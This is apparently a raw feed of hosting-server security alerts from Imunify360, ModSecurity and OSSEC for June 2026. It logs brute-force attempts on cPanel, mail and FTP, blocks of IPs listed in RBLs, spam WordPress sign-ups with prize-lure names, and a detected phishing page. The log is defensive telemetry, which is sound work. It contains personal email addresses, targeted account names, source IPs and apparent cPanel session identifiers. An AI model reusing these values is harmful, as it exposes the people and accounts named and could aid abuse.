IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:206.232.103.244||TA:206.232.103.244||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Polished Cash Gift vamvozmviigr.blogspot.com oN||Email:colemyia07@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-01.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.123.133.61
country_id: 6252001
description:
[2026-06-07 02:02:09 +0000] info [whostmgrd] 69.123.133.61 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.165
country_id: 3175395
description:
Jun  7 02:03:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.165
country_id: 3175395
description:
Jun  7 02:03:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun  7 02:05:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.31.198
country_id: 1814991
description:
2026-06-07 02:07:39 dovecot_login authenticator failed for H=([60.166.31.198]) [60.166.31.198]:43723: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.125.183
country_id: 3469034
description:
2026-06-07 02:07:43 dovecot_login authenticator failed for H=(177-174-125-183.user.vivozap.com.br) [177.174.125.183]:59079: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.108.215.39
country_id: 3469034
description:
Jun  7 02:07:10 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.108.215.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.39.245.69
country_id: 1269750
description:
2026-06-07 02:07:23 dovecot_login authenticator failed for H=([222.216.2.74]) [103.39.245.69]:41646: 535 Incorrect authentication data (set_id=j@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.191.186
country_id: 1269750
description:
Jun  7 02:07:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.191.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.191.186
country_id: 1269750
description:
2026-06-07 02:07:24 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [182.95.191.186]:57312: 535 Incorrect authentication data (set_id=delbegue-j@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.174.125.183
country_id: 3469034
description:
Jun  7 02:07:41 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.174.125.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.108.215.39
country_id: 3469034
description:
2026-06-07 02:07:12 dovecot_login authenticator failed for H=(nsg-static-234.228.76.182-airtel.com) [189.108.215.39]:45404: 535 Incorrect authentication data (set_id=delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.39.245.69
country_id: 1269750
description:
Jun  7 02:07:21 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.39.245.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
country_id: 1814991
description:
Jun  7 02:07:37 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.135
country_id: 3469034
description:
Jun  7 02:10:19 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.135 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.161.250.57
country_id: 3469034
description:
[2026-06-07 02:10:53 +0000] info [whostmgrd] 131.161.250.57 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-06-07 02:14:15 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:43285: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.129.245.249
country_id: 1814991
description:
Jun  7 02:14:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.129.245.249 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 02:14:54 ns5 pure-ftpd[3359864]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.27
country_id: 6252001
description:
205.169.39.27 - - [07/Jun/2026:02:15:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116647&pdata=http%253A%252F%252F4hssjy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780798499 HTTP/1.1" 302 0 4hssjy.mediatopnews.tg "http://4hssjy.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.198.173.137
country_id: 1819730
description:
Jun  7 02:16:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.198.173.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.198.173.137
country_id: 1819730
description:
2026-06-07 02:16:16 dovecot_login authenticator failed for H=137.173.198.203.static.netvigator.com (145.173.198.203.static.netvigator.com) [203.198.173.137]:56495: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [07/Jun/2026:02:16:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314139&pdata=http%253A%252F%252Fyzsfow.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780798607 HTTP/1.1" 302 0 yzsfow.mediatopnews.tg "http://yzsfow.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.29.137.89
country_id: 1814991
description:
[2026-06-07 02:17:46 +0000] info [whostmgrd] 117.29.137.89 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.24.239.139
country_id: 2635167
description:
[2026-06-07 02:16:51 +0000] info [whostmgrd] 176.24.239.139 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.54.61.150
country_id: 102358
description:
2026-06-07 02:18:30 dovecot_login authenticator failed for H=(38.54.61.150) [38.54.61.150]:43966: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.8.103.251
country_id: 1643084
description:
[2026-06-07 02:18:25 +0000] info [whostmgrd] 182.8.103.251 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.54.61.150
country_id: 102358
description:
Jun  7 02:18:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.54.61.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.100.121.127
country_id: 1605651
description:
Jun  7 02:19:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.100.121.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-06-07 02:19:41 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th [171.100.121.127]:36920: 535 Incorrect authentication data (set_id=contact@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.160.68.144
country_id: 1819730
description:
2026-06-07 02:19:02 H=([203.160.68.144]) [203.160.68.144]:38834 F=<John@4452.com> rejected RCPT <ferdinand.ali@agou1.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.146.240.123
country_id: 2542007
description:
Jun  7 02:21:36 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.146.240.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-06-07 02:21:38 dovecot_login authenticator failed for H=(nsg-corporate-119.229.187.122.airtel.in) [154.146.240.123]:46294: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.129.245.249
country_id: 1814991
description:
Jun  7 02:21:59 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.129.245.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-06-07 02:22:01 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:46676: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 3.8.118.220
country_id: 2635167
description:
[2026-06-07 02:22:53 +0000] info [cpaneld] 3.8.118.220 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.27.14.220
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-24.20.27.14.220||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.27.15.111
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-24.20.27.15.111||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.222.217.57
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-23.20.222.217.57||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.27.11.248
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-24.20.27.11.248||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.27.13.35
country_id: 1861060
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-24.20.27.13.35||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-25.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Open Your Festive Prize eropolik.blogspot.hk ip||Email:honoretrenise@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-06-07 02:26:23 dovecot_login authenticator failed for H=([49.124.152.35]) [27.123.112.126]:48490: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.112.126
country_id: 1269750
description:
Jun  7 02:26:21 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.112.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun  7 02:28:36 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 194.165.16.162
country_id: 2993457
description:
Jun  7 02:29:14 ns5 pure-ftpd[3371214]: (?@194.165.16.162) [INFO] New connection from 194.165.16.162


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.19.161.224
country_id: 1814991
description:
Jun  7 02:29:31 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.19.161.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.19.161.224
country_id: 1814991
description:
2026-06-07 02:29:33 dovecot_login authenticator failed for H=([59.145.37.9]) [112.19.161.224]:33694: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-06-07 02:30:15 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net (host250.sub-63-47-135.myvzw.com) [72.234.16.75]:49232: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.198.98
country_id: 1819730
description:
Jun  7 02:30:01 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.198.98 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.44.169.25
country_id: 2017370
description:
[2026-06-07 02:30:42 +0000] info [cpaneld] 5.44.169.25 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.198.98
country_id: 1819730
description:
2026-06-07 02:30:03 dovecot_login authenticator failed for H=([91.215.108.149]) [121.202.198.98]:46634: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.234.16.75
country_id: 6252001
description:
Jun  7 02:30:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.234.16.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.49.62.206
country_id: 1814991
description:
2026-06-07 02:33:29 H=([0.0.0.0]) [42.49.62.206]:61581 F=<John@4452.com> rejected RCPT <reseaux@soena.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.49.62.206
country_id: 1814991
description:
2026-06-07 02:35:48 H=([0.0.0.0]) [42.49.62.206]:50319 F=<John@4452.com> rejected RCPT <reseaux@soena.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.141.70.213
country_id: 1814991
description:
Jun  7 02:39:34 ns5 pure-ftpd[3380920]: (?@113.141.70.213) [INFO] New connection from 113.141.70.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 113.141.70.213
country_id: 1814991
description:
Jun  7 02:39:38 ns5 pure-ftpd[3380920]: (?@113.141.70.213) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.0
country_id: 6252001
description:
205.169.39.0 - - [07/Jun/2026:02:38:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120809&pdata=http%253A%252F%252Fowuls2.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780799928 HTTP/1.1" 302 0 owuls2.mediatopnews.tg "http://owuls2.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-06-07 02:40:30 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com (banco-emblema.telemar-mg.net.br) [82.209.148.60]:54864: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.209.148.60
country_id: 2661886
description:
Jun  7 02:40:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.209.148.60 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.54.53.54
country_id: 357994
description:
[2026-06-07 02:41:11 +0000] info [whostmgrd] 197.54.53.54 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.46.113.147
country_id: 2960313
description:
37.46.113.147 - - [07/Jun/2026:02:42:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6329449&pdata=https%253A%252F%252Fhotelyabisso.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780800142 HTTP/2.0" 302 0 hotelyabisso.com "https://hotelyabisso.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.46.113.147


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.92.14
country_id: 1269750
description:
Jun  7 02:42:46 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.92.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.14
country_id: 1269750
description:
2026-06-07 02:42:48 dovecot_login authenticator failed for H=([119.197.41.174]) [27.123.92.14]:32782: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 42.49.62.206
country_id: 1814991
description:
2026-06-07 02:41:52 H=([0.0.0.0]) [42.49.62.206]:62935 F=<John@4452.com> rejected RCPT <reseaux@soena.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 205.250.25.62
country_id: 6251999
description:
Jun  7 02:42:55 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 205.250.25.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-06-07 02:42:57 dovecot_login authenticator failed for H=([166.248.28.189]) [205.250.25.62]:48934: 535 Incorrect authentication data (set_id=ibrahimadiane.papa@sodigaz.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.169
country_id: 2635167
description:
[2026-06-07 02:44:21 +0000] info [cpaneld] 5.230.153.169 NEW pnlpzmfv:YhOeadgmPICIdapz address=5.230.153.169,app=cpaneld,creator=pnlpzmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  7 02:44:32 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-07 02:44:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55244: 535 Incorrect authentication data (set_id=mysql)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.237.255.29
country_id: 1819730
description:
2026-06-07 02:45:58 dovecot_plain authenticator failed for H=n119237255029.netvigator.com (hfzxjtgo4fq9m1pep6v64imxwq) [119.237.255.29]:8843: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.90.248.101
country_id: 1522867
description:
2026-06-07 02:46:53 H=([178.90.248.101]) [178.90.248.101]:15547 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Withdraw Your Substantiated Bonus vamvozmviigr.blogspot.fr W2||Email:janayh130@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.171.148.226
country_id: 3996063
description:
[2026-06-07 02:49:39 +0000] info [whostmgrd] 187.171.148.226 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:02-49.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.71.21.70
country_id: 1562822
description:
2026-06-07 02:52:40 dovecot_login authenticator failed for H=([45.178.227.128]) [27.71.21.70]:9260: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 101.71.37.55
country_id: 1814991
description:
2026-06-07 02:57:17 H=([101.71.37.199]) [101.71.37.55]:11272 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.21
country_id: 3865483
description:
Jun  7 03:01:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.163.68.59
country_id: 102358
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.125.146.151
country_id: 2635167
description:
[2026-06-07 03:11:25 +0000] info [whostmgrd] 91.125.146.151 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.106.209.238
country_id: 6252001
description:
[2026-06-07 03:12:46 +0000] info [whostmgrd] 174.106.209.238 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.215.53.156
country_id: 290557
description:
[2026-06-07 03:16:35 +0000] info [whostmgrd] 31.215.53.156 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.108
country_id: 690791
description:
Jun  7 03:19:50 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.207.115
country_id: 3469034
description:
Jun  7 03:20:11 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.207.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-07 03:23:35 +0000] info [cpaneld] 5.230.133.44 NEW ttfuehop:txuwrt86Xc2xwvZb address=5.230.133.44,app=cpaneld,creator=ttfuehop,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.23
country_id: 6252001
domain: mftogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ttfuehop/public_html/.390911246280731.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-07 03:24:33 dovecot_plain authenticator failed for H=(YTA94269302) [104.28.163.200]:22358: 535 Incorrect authentication data (set_id=587)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.22
country_id: 6252001
description:
205.169.39.22 - - [07/Jun/2026:03:26:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037855&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780802800 HTTP/1.1" 302 0 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 124.122.123.194
country_id: 1605651
description:
[2026-06-07 03:27:10 +0000] info [whostmgrd] 124.122.123.194 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-07 03:31:13 +0000] info [cpaneld] 5.230.133.64 NEW ylhgcaui:JcDrUpYd2SVJlYnG address=5.230.133.64,app=cpaneld,creator=ylhgcaui,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.164.182.122
country_id: 1831722
description:
[2026-06-07 03:32:44 +0000] info [cpaneld] 103.164.182.122 NEW crepsad:tBYOwzJ7rzM7OmmJ address=103.164.182.122,app=cpaneld,creator=crepsad,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.85.22.97
country_id: 2750405
description:
84.85.22.97 - - [07/Jun/2026:03:33:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068949&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-61669letidm2.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780803181 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-61669letidm2.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.85.22.97


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.235.17.128
country_id: 6252001
description:
2026-06-07 03:34:21 dovecot_plain authenticator failed for H=76-235-17-128.lightspeed.sntcca.sbcglobal.net (prf0shohxwwrhvm1494aigk5k59) [76.235.17.128]:36604: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
